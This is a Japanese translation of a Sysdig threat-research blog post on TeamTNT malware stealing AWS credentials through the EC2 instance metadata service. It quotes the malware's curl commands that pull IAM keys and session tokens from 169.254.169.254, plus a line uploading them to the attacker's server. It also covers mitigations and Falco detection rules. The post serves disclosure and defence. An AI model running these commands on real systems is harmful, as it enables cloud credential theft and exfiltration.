ブログ

脅威ニュース: EC2インスタンスのメタデータを使って認証情報を盗むTeamTNT

Google Cloudとコンテナの継続的なセキュリティ

本文の内容は、2021年12月7日にAlberto Pellitteriが投稿したブログ(https://sysdig.com/blog/teamtnt-aws-credentials/)を元に日本語に翻訳・再構成した内容となっております。

Sysdig 脅威リサーチチームは、TeamTNTに起因すると思われる攻撃を検知しました。最初の標的は、ネットワークの外に露出したKubernetesポッドでした。アクセスが可能になると、マルウェアはEC2インスタンスのメタデータを使ってAWSの認証情報を盗み出そうとしました。

TeamTnT malware steal aws credentials
TeamTNTは、KubernetesやDockerなどの仮想ソリューションやクラウドソリューションに対して大規模な攻撃を行う脅威アクターです。これまでの攻撃では、暗号通貨のマイニングや認証情報の窃取などの動機が見られましたが、今回はAWSのメタデータを活用した新たな戦略が採用されています。クラウドプラットフォームでは、過剰なパーミッションが悪用され、ラテラルムーブメント攻撃を受ける可能性があります。
この記事では、この攻撃がどのように機能するのか関連するリスク、そしてその検知方法について説明します。

状況

TeamTNTは、Kubernetesクラスター上にデプロイされたWordPressポッドにおけるダッシュボードの設定ミスを経由しつつ悪用し、ブルートフォースでリモートコマンドの実行がなされました。脆弱なコンテナにアクセスした後、マルウェアはwgetコマンドを使用して、悪意のあるbashスクリプト aws2.shをダウンロードします。
Sysdig 脅威リサーチチームがこのスクリプトを分析したところ、4つの異なる戦略を用いてAWSの認証情報を取得しようとしていることがわかりました。

Diagram Teamtnt malicious behavior
  1. まず、侵害されたシステム上で環境変数としてエクスポートされたAWS認証情報があるかどうかを確認します。
  2. 次に、現在実行されているdockerコンテナを検査することで、AWSキーを探します。
  3. /root ファイルシステムまたは /home/ ディレクトリのいずれかに /.aws/credentialsパスが存在する場合、それらのディレクトリを検索してクレデンシャルを探します。
  4. 被害を受けているマシンからAWSメタデータを取得し、それに関連するIAMロール認証情報(aws_access_key_id, aws_secret_access_key, aws_session_token)を取得します。

最後の方法は、TeamTNTがAWSの認証情報を盗むために採用している最も新しく興味深い方法です。

インパクト

AWS メタデータは、ユーザーデータと同様に、AWS で実行するすべての EC2 インスタンスの設定と管理に使用されます。このメタデータは、実行中のインスタンスから次のURI(IPv4経由)を介してのみアクセスできます:
http://169.254.169.254/latest/meta-data/

以下は、このエンドポイントに含まれるデータの一例です。

Example EC2 metadata
このエンドポイントを使用して、インスタンスに関する情報や、ネットワーク設定(ローカルおよびパブリックIPv4アドレスなど)を取得できます。しかし、何よりも重要なのは、インスタンスに割り当てられているIAMロールの記録です。後者の情報は、攻撃者が利用することができます。
以下は、悪意のあるスクリプトから引用したもので、攻撃者がメタデータエンドポイントにアクセスし、機密情報を抽出する様子を示しています。

...
function AWS_META_DATA_CREDS(){

export TNT_AWS_ACCESS_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'AccessKeyId' | sed 's/ "AccessKeyId" : "/aws_access_key_id = /g' | sed 's/",//g')

if [ ! -z "$TNT_AWS_ACCESS_KEY" ]; then
export TNT_AWS_SECRET_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'SecretAccessKey' | sed 's/ "SecretAccessKey" : "/aws_secret_access_key = /g' | sed 's/",//g')
...
fi
if [ ! -z "$TNT_AWS_SECRET_KEY" ]; then
export TNT_AWS_SESSION_TOKEN=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'Token' | sed 's/ "Token" : "/aws_session_token = /g' | sed 's/",//g')
Fi
...
echo $TNT_AWS_ACCESS_KEY >> $STEALER_OUT
echo $TNT_AWS_SECRET_KEY >> $STEALER_OUT
echo $TNT_AWS_SESSION_TOKEN >> $STEALER_OUT
...
最後に、これらの情報が STEALER_OUT ファイルに保存されると、攻撃者が管理するサーバーにファイルをアップロードすることで、データの流出が起こります。

...
if [ -f $STEALER_OUT ]; then
cat $STEALER_OUT
curl -F "userfile=@$STEALER_OUT" http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php
rm -f $STEALER_OUT 2>/dev/null 1>/dev/null
fi
...
この新しい脅威の影響により、このようにAWSの認証情報が盗まれる可能性があります。攻撃者は、この認証情報を利用して、クラウド内でのラテラルムーブメントを行うことができるようになります!

対策

いつものように、堅牢な多要素認証システムと脆弱性のない最新のコンポーネントでサービスが保護されていることを確認してください。しかし、この脅威に対抗するためには、いくつかの具体的な方法があります。
AWSでは、EC2インスタンスのメタデータへの不正アクセスを防止するためのアクセス制御ルールを有効にすることはできません。その代わりに、AWSのクレデンシャルの盗難に関連するリスクを制限するいくつかの戦略を採用することができます。
  • インスタンスがメタデータへのアクセスを必要としない場合は、無効にすべきです。これにより、攻撃対象を最小限に抑え、AWSの認証情報の盗難を回避することができます。
  • また、インスタンスのメタデータにアクセスする方法として、デフォルトのIMDSv1方式を、より新しいIMDSv2に置き換えることができます。IMDSv2はセッション指向のリクエストを使用し、メタデータやクレデンシャルのリクエストに使用できるセッショントークンを提供します。
  • EC2インスタンスにロールを割り当てるのは、厳密に必要な場合のみとします。
  • EC2インスタンスにIAMロールをアタッチした場合、タスクの実行に必要な最低限の権限が付与されていることを確認してください。

例えば、後者のシナリオによると、EC2インスタンスがAWSのS3バケットに対して読み取り権限のみを必要とする場合、書き込み権限も与えるべきではありません。バケットへの読み取り、リスト、書き込みなどのAWSアクションを制限することに加えて、どのAWSリソースにアクセスできるかを指定する必要があります。これにより、機密データへの不正なアクセスを制限できる可能性があります。

以下は、安全でないポリシーとレポートされています:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:*"],
      "Resource": ["*"]
    }
  ]
}


代わりに、より安全なポリシーとして:


{
  "Version": "2012-10-17",
  "Statement": [
    {
	"Principal": {
      "AWS":"arn:aws:iam::<aws-account>:role/<iam-role-for-s3-access>"
	}
      "Effect": "Allow",
      "Action": ["s3:ListBucket",
         "s3:GetObject"],
      "Resource": ["arn:aws:s3:::<s3-bucket-name>"]
    }
  ]
}


検知

TeamTNTが認証情報を盗むために行った手法の検出は、Falcoを使って行うことができます。Falcoは、コンテナやKubernetes向けのランタイム脅威検知のためのCNCFのインキュベーションプロジェクトです。
Falcoの強力で柔軟なルール言語を活用して、疑わしい振る舞いを検出し、イベントを生成することができます。Falcoには事前に定義されたルールが付属していますが、必要に応じてカスタマイズしたり、ニーズに合った新しいルールを作成したりすることもできます。
デフォルトのルールセットには2つのルールがあり、コンテナが予期せずEC2インスタンスのメタデータに到達しようとするたびに検出されます。

- rule: Contact EC2 Instance Metadata Service From Container
desc: Detect attempts to contact the EC2 Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and not ec2_metadata_containers
output: Outbound connection to EC2 instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, aws, container, mitre_discovery]


- rule: Contact cloud metadata service from container
desc: Detect attempts to contact the Cloud Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and consider_metadata_access and not user_known_metadata_access
output: Outbound connection to cloud instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, container, mitre_discovery]

これらのルールについて詳しく知りたい場合は、GitHubでルールの全説明を確認できます。
また、Find AWS Credentialsルールは、AWSクレデンシャル・ファイルを発見しようとしている疑わしい grep find コマンドを検出することができます。このルールはSysdig Secureに含まれています。

Sysdigに関するお問い合わせはこちらから

最近の投稿

カテゴリー

アーカイブ

ご質問・お問い合わせはこちら

top